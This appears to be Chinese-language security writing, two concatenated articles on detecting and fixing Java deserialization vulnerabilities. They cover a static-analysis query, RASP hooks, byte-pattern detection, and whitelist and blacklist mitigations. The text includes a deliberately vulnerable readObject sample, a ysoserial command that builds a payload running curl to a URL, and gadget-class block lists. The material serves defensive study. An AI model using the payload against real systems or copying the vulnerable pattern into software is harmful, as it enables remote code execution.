大型企业的应用很多,每个都人工去审计不现实,往往都有相应的自动化静态代码审计工具,这里以ObjectInputStream.readObject()为例,其它原理也相似。在自动化检测时,可通过实现解析java源代码,检测readObject()方法调用时判断其对象是否为java.io.ObjectOutputStream。如果此时ObjectInputStream对象的初始化参数来自外部请求输入参数则基本可以确定存在反序列化漏洞了。这是只需确认是否存在相应的安全修复即可。 检测方式可参考[lgtm.com](https://lgtm.com/query/rule:1823453799/lang:java/)对于Deserialization of user-controlled data的实现: ``` /** * @name Deserialization of user-controlled data * @description Deserializing user-controlled data may allow attackers to * execute arbitrary code. * @kind problem * @problem.severity error * @precision high * @id java/unsafe-deserialization * @tags security * external/cwe/cwe-502 */ import java import semmle.code.java.security.DataFlow import semmle.code.java.frameworks.Kryo import semmle.code.java.frameworks.XStream import semmle.code.java.frameworks.SnakeYaml class ObjectInputStreamReadObjectMethod extends Method { ObjectInputStreamReadObjectMethod() { this.getDeclaringType().getASourceSupertype*().hasQualifiedName("java.io", "ObjectInputStream") and (this.hasName("readObject") or this.hasName("readUnshared")) } } class XMLDecoderReadObjectMethod extends Method { XMLDecoderReadObjectMethod() { this.getDeclaringType().hasQualifiedName("java.beans", "XMLDecoder") and this.hasName("readObject") } } class SafeXStream extends FlowSource { SafeXStream() { any(XStreamEnableWhiteListing ma).getQualifier().(VarAccess).getVariable().getAnAccess() = this } } class SafeKryo extends FlowSource { SafeKryo() { any(KryoEnableWhiteListing ma).getQualifier().(VarAccess).getVariable().getAnAccess() = this } } predicate unsafeDeserialization(MethodAccess ma, Expr sink) { exists(Method m | m = ma.getMethod() | m instanceof ObjectInputStreamReadObjectMethod and sink = ma.getQualifier() or m instanceof XMLDecoderReadObjectMethod and sink = ma.getQualifier() or m instanceof XStreamReadObjectMethod and sink = ma.getAnArgument() and not exists(SafeXStream sxs | sxs.flowsTo(ma.getQualifier())) or m instanceof KryoReadObjectMethod and sink = ma.getAnArgument() and not exists(SafeKryo sk | sk.flowsTo(ma.getQualifier())) or ma instanceof UnsafeSnakeYamlParse and sink = ma.getArgument(0) ) } class UnsafeDeserializationSink extends Expr { UnsafeDeserializationSink() { unsafeDeserialization(_, this) } MethodAccess getMethodAccess() { unsafeDeserialization(result, this) } } from UnsafeDeserializationSink sink, RemoteUserInput source where source.flowsTo(sink) select sink.getMethodAccess(), "Unsafe deserialization of $@.", source, "user input" ``` #### 黑盒检测 调用ysoserial并依次生成各个第三方库的利用payload(也可以先分析依赖第三方包量,调用最多的几个库的paylaod即可),该payload构造为访问特定url链接的payload,根据http访问请求记录判断反序列化漏洞是否利用成功。如: ``` java -jar ysoserial.jar CommonsCollections1 'curl " + URL + " ' ``` 也可通过DNS解析记录确定漏洞是否存在。现成的轮子很多,推荐NickstaDB写的SerialBrute,还有一个针对RMI的测试工具[BaRMIe](https://github.com/NickstaDB/BaRMIe),也很不错~。. #### RASP检测 Java程序中类ObjectInputStream的readObject方法被用来将数据流反序列化为对象,如果流中的对象是class,则它的ObjectStreamClass描述符会被读取,并返回相应的class对象,ObjectStreamClass包含了类的名称及serialVersionUID。 类的名称及serialVersionUID的ObjectStreamClass描述符在序列化对象流的前面位置,且在readObject反序列化时首先会调用resolveClass读取反序列化的类名,所以RASP检测反序列化漏洞时可通过重写ObjectInputStream对象的resolveClass方法获取反序列化的类即可实现对反序列化类的黑名单校验。 百度的开源RASP产品就是使用的这种方法,具体可参考其[DeserializationHook.java](https://github.com/baidu/openrasp/blob/master/agent/java/src/main/java/com/fuxi/javaagent/hook/DeserializationHook.java)的实现: ``` @Override protected MethodVisitor hookMethod(int access, String name, String desc, String signature, String[] exceptions, MethodVisitor mv) { if ("resolveClass".equals(name) && "(Ljava/io/ObjectStreamClass;)Ljava/lang/Class;".equals(desc)) { return new AdviceAdapter(Opcodes.ASM5, mv, access, name, desc) { @Override protected void onMethodEnter() { loadArg(0); invokeStatic(Type.getType(HookHandler.class), new Method("checkDeserializationClass", "(Ljava/io/ObjectStreamClass;)V")); } }; } return mv; } ``` 其中检测覆盖的反序列化类黑名单如下: ``` plugin.register('deserialization', function (params, context) { var deserializationInvalidClazz = [ 'org.apache.commons.collections.functors.InvokerTransformer', 'org.apache.commons.collections.functors.InstantiateTransformer', 'org.apache.commons.collections4.functors.InvokerTransformer', 'org.apache.commons.collections4.functors.InstantiateTransformer', 'org.codehaus.groovy.runtime.ConvertedClosure', 'org.codehaus.groovy.runtime.MethodClosure', 'org.springframework.beans.factory.ObjectFactory', 'xalan.internal.xsltc.trax.TemplatesImpl' ] var clazz = params.clazz for (var index in deserializationInvalidClazz) { if (clazz === deserializationInvalidClazz[index]) { return { action: 'block', message: '尝试反序列化攻击', confidence: 100 } } } return clean }) ``` #### 攻击检测 通过查看反序列化后的数据,可以看到反序列化数据开头包含两字节的魔术数字,这两个字节始终为十六进制的0xAC ED。接下来是两字节的版本号。我只见到过版本号为5(0x00 05)的数据。考虑到zip、base64各种编码,在攻击检测时可针对该特征进行匹配请求post中是否包含反序列化数据,判断是否为反序列化漏洞攻击。 xxxdeMacBook-Pro:demo xxx$ xxd objectexp 00000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl 00000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A 00000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat 00000030: 696f 6e48 616e 646c 6572 55ca f50f 15cb ionHandlerU..... 但仅从特征匹配只能确定有攻击尝试请求,还不能确定就存在反序列化漏洞,还要结合请求响应、返回内容等综合判断是否确实存在漏洞。 ### Java反序列化漏洞修复方案 #### 通过Hook resolveClass来校验反序列化的类 通过上面序列化数据结构可以了解到包含了类的名称及serialVersionUID的ObjectStreamClass描述符在序列化对象流的前面位置,且在readObject反序列化时首先会调用resolveClass读取反序列化的类名,所以这里通过重写ObjectInputStream对象的resolveClass方法即可实现对反序列化类的校验。这个方法最早是由IBM的研究人员Pierre Ernst在2013年提出《[Look-ahead Java deserialization](https://www.ibm.com/developerworks/library/se-lookahead/)》,具体实现代码示例如下: ```java public class AntObjectInputStream extends ObjectInputStream{ public AntObjectInputStream(InputStream inputStream) throws IOException { super(inputStream); } /** * 只允许反序列化SerialObject class */ @Override protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!desc.getName().equals(SerialObject.class.getName())) { throw new InvalidClassException( "Unauthorized deserialization attempt", desc.getName()); } return super.resolveClass(desc); } } ``` 通过此方法,可灵活的设置允许反序列化类的白名单,也可设置不允许反序列化类的黑名单。但反序列化漏洞利用方法一直在不断的被发现,黑名单需要一直更新维护,且未公开的利用方法无法覆盖。 [SerialKiller](https://github.com/ikkisoft/SerialKiller) 是由Luca Carettoni利用上面介绍的方法实现的反序列化类白/黑名单校验的jar包。具体使用方法可参考其代码仓库。 [contrast-rO0](https://github.com/Contrast-Security-OSS/contrast-rO0)是一个轻量级的agent程序,通过通过重写ObjectInputStream来防御反序列化漏洞攻击。使用其中的SafeObjectInputStream类来实现反序列化类白/黑名单控制,示例代码如下: ```java SafeObjectInputStream in = new SafeObjectInputStream(inputStream, true); in.addToWhitelist(SerialObject.class); in.readObject(); ``` #### 使用ValidatingObjectInputStream来校验反序列化的类 使用Apache Commons IO Serialization包中的ValidatingObjectInputStream类的accept方法来实现反序列化类白/黑名单控制,具体可参考[ValidatingObjectInputStream](https://commons.apache.org/proper/commons-io/javadocs/api-release/index.html)介绍;示例代码如下: ```java private static Object deserialize(byte[] buffer) throws IOException, ClassNotFoundException , ConfigurationException { Object obj; ByteArrayInputStream bais = new ByteArrayInputStream(buffer); // Use ValidatingObjectInputStream instead of InputStream ValidatingObjectInputStream ois = new ValidatingObjectInputStream(bais); //只允许反序列化SerialObject class ois.accept(SerialObject.class); obj = ois.readObject(); return obj; } ``` #### 使用ObjectInputFilter来校验反序列化的类 Java 9包含了支持序列化数据过滤的新特性,开发人员也可以继承[java.io.ObjectInputFilter](http://download.java.net/java/jdk9/docs/api/java/io/ObjectInputFilter.html)类重写checkInput方法实现自定义的过滤器,,并使用ObjectInputStream对象的[setObjectInputFilter](http://download.java.net/java/jdk9/docs/api/java/io/ObjectInputStream.html#setObjectInputFilter-java.io.ObjectInputFilter-)设置过滤器来实现反序列化类白/黑名单控制。示例代码如下: ```java import java.util.List; import java.util.Optional; import java.util.function.Function; import java.io.ObjectInputFilter; class BikeFilter implements ObjectInputFilter { private long maxStreamBytes = 78; // Maximum allowed bytes in the stream. private long maxDepth = 1; // Maximum depth of the graph allowed. private long maxReferences = 1; // Maximum number of references in a graph. @Override public Status checkInput(FilterInfo filterInfo) { if (filterInfo.references() < 0 || filterInfo.depth() < 0 || filterInfo.streamBytes() < 0 || filterInfo.references() > maxReferences || filterInfo.depth() > maxDepth|| filterInfo.streamBytes() > maxStreamBytes) { return Status.REJECTED; } Class clazz = filterInfo.serialClass(); if (clazz != null) { if (SerialObject.class == filterInfo.serialClass()) { return Status.ALLOWED; } else { return Status.REJECTED; } } return Status.UNDECIDED; } // end checkInput } // end class BikeFilter ``` 上述示例代码,仅允许反序列化SerialObject类对象,上述示例及更多关于ObjectInputFilter的均参考自NCC Group Whitepaper由Robert C. Seacord写的《[Combating Java Deserialization Vulnerabilities with Look-Ahead Object Input Streams (LAOIS)](https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/2017/june/ncc_group_combating_java_deserialization_vulnerabilities_with_look-ahead_object_input_streams1.pdf)》 #### 黑名单校验修复 在反序列化时设置类的黑名单来防御反序列化漏洞利用及攻击,这个做法在源代码修复的时候并不是推荐的方法,因为你不能保证能覆盖所有可能的类,而且有新的利用payload出来时也需要随之更新黑名单。 但有某些场景下可能黑名单是一个不错的选择。写代码的时候总会把一些经常用到的方法封装到公共类,这样其它工程中用到只需要导入jar包即可,此前已经见到很多提供反序列化操作的公共接口,使用第三方库反序列化接口就不好用白名单的方式来修复了。这个时候作为第三方库也不知道谁会调用接口,会反序列化什么类,所以这个时候可以使用黑名单的方式来禁止一些已知危险的类被反序列化,部分的黑名单类如下: * org.apache.commons.collections.functors.InvokerTransformer * org.apache.commons.collections.functors.InstantiateTransformer * org.apache.commons.collections4.functors.InvokerTransformer * org.apache.commons.collections4.functors.InstantiateTransformer * org.codehaus.groovy.runtime.ConvertedClosure * org.codehaus.groovy.runtime.MethodClosure * org.springframework.beans.factory.ObjectFactory * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl * org.apache.commons.fileupload * org.apache.commons.beanutils * ... #### 安全编码建议 * 更新commons-collections、commons-io等第三方库版本; * 业务需要使用反序列化时,尽量避免反序列化数据可被用户控制,如无法避免建议尽量使用白名单校验的修复方式; ### 总结 关于反序列化漏洞分析及利用研究的文章不少,但鲜有检测及修复方面的介绍,本文旨站在应用安全的角度,从安全编码、代码审计、漏洞检测及修复方案对反序列化漏洞进行详细分享。希望对从事应用安全的朋友有所帮助。文中若有问题之处欢迎指出交流。 ### 参考 * https://www.nccgroup.trust/us/our-research/combating-java-deserialization-vulnerabilities-with-look-ahead-object-input-streams-laois/ * https://dzone.com/articles/a-first-look-into-javas-new-serialization-filterin * https://docs.oracle.com/javase/7/docs/platform/serialization/spec/protocol.html * https://www.owasp.org/index.php/Deserialization_of_untrusted_data * https://github.com/Cryin/Paper/blob/master/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%8F%8A%E6%A3%80%E6%B5%8B%E6%96%B9%E6%A1%88.md * https://www.ibm.com/developerworks/library/se-lookahead/ * https://github.com/baidu/openrasp ================================================ FILE: 浅谈Java反序列化漏洞修复方案.md ================================================ ## 浅谈Java反序列化漏洞修复方案 ### 概述 序列化是让 Java 对象脱离 Java 运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。 Java程序使用ObjectInputStream对象的readObject方法将反序列化数据转换为java对象。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。 漏洞代码示例如下: ``` java ...... //读取输入流,并转换对象 InputStream in=request.getInputStream(); ObjectInputStream ois = new ObjectInputStream(in); //恢复对象 ois.readObject(); ois.close(); ``` 安全研究人员已经发现大量利用反序列化漏洞执行任意代码的方法,Gabriel Lawrence和Chris Frohoff在《[Marshalling Pickles how deserializing objects can ruin your day](https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles)》中提出的利用Apache Commons Collection实现任意代码执行,还有其它更多的利用方法可参考github上的利用工具[ysoserial](https://github.com/frohoff/ysoserial)、[marshalsec](https://github.com/mbechler/marshalsec)。 ### Java反序列化详解 #### 序列化数据结构 通过查看序列化后的数据,可以看到反序列化数据开头包含两字节的魔术数字,这两个字节始终为十六进制的0xAC ED。接下来是两字节的版本号0x00 05的数据。此外还包含了类名、成员变量的类型和个数等。详细可参考[Java对象序列化规范](https://docs.oracle.com/javase/7/docs/platform/serialization/spec/protocol.html)。 这里以类SerialObject示例来详细进行介绍Java对象序列化后的数据结构: ``` java public class SerialObject implements Serializable{ private static final long serialVersionUID = 5754104541168322017L; private int id; public String name; public SerialObject(int id,String name){ this.id=id; this.name=name; } ... } ``` 序列化SerialObject实例后以二进制格式查看: ``` 00000000: aced 0005 7372 0024 636f 6d2e 7878 7878 ....sr.$com.xxxx 00000010: 7878 2e73 6563 2e77 6562 2e68 6f6d 652e xx.sec.web.home. 00000020: 5365 7269 616c 4f62 6a65 6374 4fda af97 SerialObjectO... 00000030: f8cc c5e1 0200 0249 0002 6964 4c00 046e .......I..idL..n 00000040: 616d 6574 0012 4c6a 6176 612f 6c61 6e67 amet..Ljava/lang 00000050: 2f53 7472 696e 673b 7870 0000 07e1 7400 /String;xp....t. 00000060: 0563 7279 696e 0a .cryin. ``` 序列化的数据流以魔术数字和版本号开头,这个值是在调用ObjectOutputStream序列化时,由writeStreamHeader方法写入: ```java protected void writeStreamHeader() throws IOException { bout.writeShort(STREAM_MAGIC);//STREAM_MAGIC (2 bytes) 0xACED bout.writeShort(STREAM_VERSION);//STREAM_VERSION (2 bytes) 5 } ``` 序列化后的SerialObject对象详细结构: ``` STREAM_MAGIC (2 bytes) 0xACED STREAM_VERSION (2 bytes) 0x0005 TC_OBJECT (1 byte) 0x73 TC_CLASSDESC (1 byte) 0x72 className length (2 bytes) 0x24 = 36 text (36 bytes) com.xxxxxx.sec.web.home.SerialObject serialVersionUID (8 bytes) 0x4FDAAF97F8CCC5E1 = 5754104541168322017 classDescInfo classDescFlags (1 byte) 0x02 = SC_SERIALIZABLE fields count (2 bytes) 2 field[0] primitiveDesc prim_typecode (1 byte) I = integer fieldName length (2 bytes) 2 text (2 bytes) id field[1] objectDesc obj_typecode (1 byte) L = object fieldName length (2 bytes) 4 text (4 bytes) name className1 TC_STRING (1 byte) 0x74 length (2 bytes) 0x12 = 18 text (18 bytes) Ljava/lang/String; classAnnotation TC_ENDBLOCKDATA (1 byte) 0x78 superClassDesc TC_NULL (1 byte) 0x70 classdata[] classdata[0] (4 bytes) 0xe107 = id = 2017 classdata[1] TC_STRING (1 byte) 0x74 length (2 bytes) 5 text (8 bytes) cryin ``` #### 反序列化过程 Java程序中类ObjectInputStream的readObject方法被用来将数据流反序列化为对象,如果流中的对象是class,则它的ObjectStreamClass描述符会被读取,并返回相应的class对象,ObjectStreamClass包含了类的名称及serialVersionUID。 如果类描述符是动态代理类,则调用resolveProxyClass方法来获取本地类。如果不是动态代理类则调用resolveClass方法来获取本地类。如果无法解析该类,则抛出ClassNotFoundException异常。 如果反序列化对象不是String、array、enum类型,ObjectStreamClass包含的类会在本地被检索,如果这个本地类没有实现java.io.Serializable或者externalizable接口,则抛出InvalidClassException异常。因为只有实现了Serializable和Externalizable接口的类的对象才能被序列化。 ### Java反序列化漏洞修复方案 #### 通过Hook resolveClass来校验反序列化的类 通过上面序列化数据结构可以了解到包含了类的名称及serialVersionUID的ObjectStreamClass描述符在序列化对象流的前面位置,且在readObject反序列化时首先会调用resolveClass读取反序列化的类名,所以这里通过重写ObjectInputStream对象的resolveClass方法即可实现对反序列化类的校验。这个方法最早是由IBM的研究人员Pierre Ernst在2013年提出《[Look-ahead Java deserialization](https://www.ibm.com/developerworks/library/se-lookahead/)》,具体实现代码示例如下: ```java public class AntObjectInputStream extends ObjectInputStream{ public AntObjectInputStream(InputStream inputStream) throws IOException { super(inputStream); } /** * 只允许反序列化SerialObject class */ @Override protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!desc.getName().equals(SerialObject.class.getName())) { throw new InvalidClassException( "Unauthorized deserialization attempt", desc.getName()); } return super.resolveClass(desc); } } ``` 通过此方法,可灵活的设置允许反序列化类的白名单,也可设置不允许反序列化类的黑名单。但反序列化漏洞利用方法一直在不断的被发现,黑名单需要一直更新维护,且未公开的利用方法无法覆盖。 [SerialKiller](https://github.com/ikkisoft/SerialKiller) 是由Luca Carettoni利用上面介绍的方法实现的反序列化类白/黑名单校验的jar包。具体使用方法可参考其代码仓库。 #### 使用ValidatingObjectInputStream来校验反序列化的类 使用Apache Commons IO Serialization包中的ValidatingObjectInputStream类的accept方法来实现反序列化类白/黑名单控制,具体可参考[ValidatingObjectInputStream](https://commons.apache.org/proper/commons-io/javadocs/api-release/index.html)介绍;示例代码如下: ```java private static Object deserialize(byte[] buffer) throws IOException, ClassNotFoundException , ConfigurationException { Object obj; ByteArrayInputStream bais = new ByteArrayInputStream(buffer); // Use ValidatingObjectInputStream instead of InputStream ValidatingObjectInputStream ois = new ValidatingObjectInputStream(bais); //只允许反序列化SerialObject class ois.accept(SerialObject.class); obj = ois.readObject(); return obj; } ``` #### 使用contrast-rO0防御反序列化攻击 [contrast-rO0](https://github.com/Contrast-Security-OSS/contrast-rO0)是一个轻量级的agent程序,通过通过重写ObjectInputStream来防御反序列化漏洞攻击。使用其中的SafeObjectInputStream类来实现反序列化类白/黑名单控制,示例代码如下: ```java SafeObjectInputStream in = new SafeObjectInputStream(inputStream, true); in.addToWhitelist(SerialObject.class); in.readObject(); ``` #### 使用ObjectInputFilter来校验反序列化的类 Java 9包含了支持序列化数据过滤的新特性,开发人员也可以继承[java.io.ObjectInputFilter](http://download.java.net/java/jdk9/docs/api/java/io/ObjectInputFilter.html)类重写checkInput方法实现自定义的过滤器,,并使用ObjectInputStream对象的[setObjectInputFilter](http://download.java.net/java/jdk9/docs/api/java/io/ObjectInputStream.html#setObjectInputFilter-java.io.ObjectInputFilter-)设置过滤器来实现反序列化类白/黑名单控制。示例代码如下: ```java import java.util.List; import java.util.Optional; import java.util.function.Function; import java.io.ObjectInputFilter; class BikeFilter implements ObjectInputFilter { private long maxStreamBytes = 78; // Maximum allowed bytes in the stream. private long maxDepth = 1; // Maximum depth of the graph allowed. private long maxReferences = 1; // Maximum number of references in a graph. @Override public Status checkInput(FilterInfo filterInfo) { if (filterInfo.references() < 0 || filterInfo.depth() < 0 || filterInfo.streamBytes() < 0 || filterInfo.references() > maxReferences || filterInfo.depth() > maxDepth|| filterInfo.streamBytes() > maxStreamBytes) { return Status.REJECTED; } Class clazz = filterInfo.serialClass(); if (clazz != null) { if (SerialObject.class == filterInfo.serialClass()) { return Status.ALLOWED; } else { return Status.REJECTED; } } return Status.UNDECIDED; } // end checkInput } // end class BikeFilter ``` 上述示例代码,仅允许反序列化SerialObject类对象,上述示例及更多关于ObjectInputFilter的均参考自NCC Group Whitepaper由Robert C. Seacord写的《[Combating Java Deserialization Vulnerabilities with Look-Ahead Object Input Streams (LAOIS)](https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/2017/june/ncc_group_combating_java_deserialization_vulnerabilities_with_look-ahead_object_input_streams1.pdf)》 #### 黑名单 在反序列化时设置类的黑名单来防御反序列化漏洞利用及攻击,这个做法在源代码修复的时候并不是推荐的方法,因为你不能保证能覆盖所有可能的类,而且有新的利用payload出来时也需要随之更新黑名单,但有一种场景下可能黑名单是一个不错的选择。写代码的时候总会把一些经常用到的方法封装到公共类,这样其它工程中用到只需要导入jar包即可,此前已经见到很多提供反序列化操作的公共接口,使用第三方库反序列化接口就不好用白名单的方式来修复了。这个时候作为第三方库也不知道谁会调用接口,会反序列化什么类,所以这个时候可以使用黑名单的方式来禁止一些已知危险的类被反序列化,具体的黑名单类可参考contrast-rO0、ysoserial中paylaod包含的类。 ### 总结 前段时间对反序列化漏洞的检测和修复进行了专项的研究,刚好又看到NCC Group关于反序列化漏洞研究的[Whitepaper](https://www.nccgroup.trust/us/our-research/combating-java-deserialization-vulnerabilities-with-look-ahead-object-input-streams-laois/)。所以对反序列化漏洞的原理、检测和修复进行大概的整理,漏洞修复方案主要趋向于有源代码的情况。文中若有问题之处可指出再交流。 ### 参考 * https://www.nccgroup.trust/us/our-research/combating-java-deserialization-vulnerabilities-with-look-ahead-object-input-streams-laois/ * https://github.com/ikkisoft/SerialKiller/ * https://github.com/Contrast-Security-OSS/contrast-rO0 * https://dzone.com/articles/a-first-look-into-javas-new-serialization-filterin * https://docs.oracle.com/javase/7/docs/platform/serialization/spec/protocol.html * https://www.owasp.org/index.php/Deserialization_of_untrusted_data * https://github.com/Cryin/Paper/blob/master/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%8F%8A%E6%A3%80%E6%B5%8B%E6%96%B9%E6%A1%88.md * https://www.ibm.com/developerworks/library/se-lookahead/